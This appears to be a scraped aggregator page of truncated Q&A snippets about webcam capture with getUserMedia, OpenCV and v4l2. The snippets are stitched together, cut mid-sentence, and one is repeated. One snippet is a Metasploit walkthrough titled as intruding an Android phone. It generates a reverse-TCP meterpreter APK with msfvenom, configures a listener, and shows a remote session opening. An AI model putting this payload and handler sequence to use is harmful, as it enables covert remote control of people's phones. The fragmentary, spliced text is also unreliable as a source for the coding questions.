webcam

HTML Media Capture API vs. getUserMedia()

两盒软妹~` 提交于 2020-04-07 11:36:38
问题 currently, I'm trying to do some really simple thing (well, actually I thought it is simple...): I want to take a photo from the web-cam in a web-application . I stumbled over two possibilities: 1. The HTML Media Capture API which looks really easy: <input type="file" accept="image/*" capture="camera"> 2. JavaScript media streams, which also look pretty easy: navigator.getUserMedia() And here comes my question: The HTML Media Capture API is not working in desktop browsers and the JavaScript

How to make USB camera work with OpenCV?

吃可爱长大的小学妹 提交于 2020-03-25 17:25:12
问题 I copied code from https://stackoverflow.com/a/34588758/210342 and used with default (built-in) camera, it worked. Then I attached USB camera, tested it with VLC and changed the code to open camera 1 : cam = cv2.VideoCapture(1) I check whether the camera is open cam.isOpened() -- it is -- but the camera is not enabled (its hardware indicator, LED, is off) and indeed all I see on the screen is black frame. Is there some extra special code to add in order to enable USB camera? 回答1: Are you sure

Only one frame displayed WebRTC stream

南楼画角 提交于 2020-03-22 08:11:33
问题 I'm using PeerJS and their cloud-hosted servers to build a WebRTC application. Here's my code: navigator.getMedia = ( navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia); window.URL = window.URL || window.webkitURL; var callSettings = { video: { mandatory: { maxWidth: 400, maxHeight: 300 } }, audio: true }; $(document).ready(function () { var videoel = $("#teacher-stream")[0]; $(document).on('click', ".start-call", function () //A

VideoWriter outputs corrupted video file

社会主义新天地 提交于 2020-03-18 12:23:01
问题 This is my code to save web_cam streaming. It is working but the problem with output video file. import numpy as np import cv2 cap = cv2.VideoCapture(0) # Define the codec and create VideoWriter object #fourcc = cv2.cv.CV_FOURCC(*'DIVX') #out = cv2.VideoWriter('output.avi',fourcc, 20.0, (640,480)) out = cv2.VideoWriter('output.avi', -1, 20.0, (640,480)) while(cap.isOpened()): ret, frame = cap.read() if ret==True: frame = cv2.flip(frame,0) # write the flipped frame out.write(frame) cv2.imshow(

OpenCV crop live feed from camera

[亡魂溺海] 提交于 2020-02-24 12:10:12
问题 How can I get properly one resolution feed from camera in OpenCV (640x320) but cut it into half and display only one half of the frame (320x240). So not to scale down, but to actually crop . I am using OpenCV 2.4.5, VS2010 and C++ This quite standard code gets 640x480 input resolution and I made some changes to crop resolution to 320x240. Should I use Mat instead of IplImage, and if so what would be the best way? #include "stdafx.h" #include <iostream> #include "opencv2/core/core.hpp"

OpenCV crop live feed from camera

和自甴很熟 提交于 2020-02-24 12:10:05
问题 How can I get properly one resolution feed from camera in OpenCV (640x320) but cut it into half and display only one half of the frame (320x240). So not to scale down, but to actually crop . I am using OpenCV 2.4.5, VS2010 and C++ This quite standard code gets 640x480 input resolution and I made some changes to crop resolution to 320x240. Should I use Mat instead of IplImage, and if so what would be the best way? #include "stdafx.h" #include <iostream> #include "opencv2/core/core.hpp"

v4l2 fcntl.ioctl VIDIOC_S_PARM for setting fps and resolution of camera capture

本秂侑毒 提交于 2020-02-24 04:36:48
问题 I am trying to set fps and resolution of webcam and capture from it via v4l2 Python. v4l2 Python documentation is limited to ; >>> import v4l2 >>> import fcntl >>> vd = open('/dev/video0', 'rw') >>> cp = v4l2.v4l2_capability() >>> fcntl.ioctl(vd, v4l2.VIDIOC_QUERYCAP, cp) 0 >>> cp.driver 'ov534' >>> cp.card 'USB Camera-B4.09.24.1' Looking at the videodev2.h ; #define VIDIOC_S_PARM _IOWR('V', 22, struct v4l2_streamparm) VIDIOC_S_PARM is related to v4l2_streamparm that is ; struct v4l2

MSF初体验—入侵安卓手机

血红的双手。 提交于 2020-02-16 07:20:40
1.生成apk程序 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 R > apk.apk 2.启动msfconsole 3.启动use exploit/multi/handler模块 4.set payload android/meterpreter/reverse_tcp 5.show options 6.准备工作 msf exploit(handler) > set LHOST 192.168.1.101 LHOST => 192.168.1.101 msf exploit(handler) > set LPORT 5555 LPORT => 5555 msf exploit(handler) > exploit(运行apk程序) [*] Started reverse TCP handler on 192.168.1.101:5555 [*] Starting the payload handler... [*] Sending stage (63194 bytes) to 192.168.1.105 [*] Meterpreter session 1 opened (192.168.1.101:5555 -> 192.168.1.105:57629) at 2017-06

Capturing a single frame with Python (using a webcam)

半城伤御伤魂 提交于 2020-02-06 08:51:08
问题 I checked other solutions, but they weren't answering my question. My issue is that whenever I try to capture just one frame from a video (I want to basically take a picture with my webcam) I just get a black window. Code - import cv2 cam = cv2.VideoCapture(0) frame = cam.read()[1] cv2.imwrite('img2.png', frame) cv2.imshow("img1", frame) screenshot - https://imgur.com/kfeXYvQ My webcam is USB, 720p at 30fps. Thanks. 回答1: One of two things. It might be that you need to add a waitKey() after

Capturing a single frame with Python (using a webcam)

穿精又带淫゛_ 提交于 2020-02-06 08:50:06
问题 I checked other solutions, but they weren't answering my question. My issue is that whenever I try to capture just one frame from a video (I want to basically take a picture with my webcam) I just get a black window. Code - import cv2 cam = cv2.VideoCapture(0) frame = cam.read()[1] cv2.imwrite('img2.png', frame) cv2.imshow("img1", frame) screenshot - https://imgur.com/kfeXYvQ My webcam is USB, 720p at 30fps. Thanks. 回答1: One of two things. It might be that you need to add a waitKey() after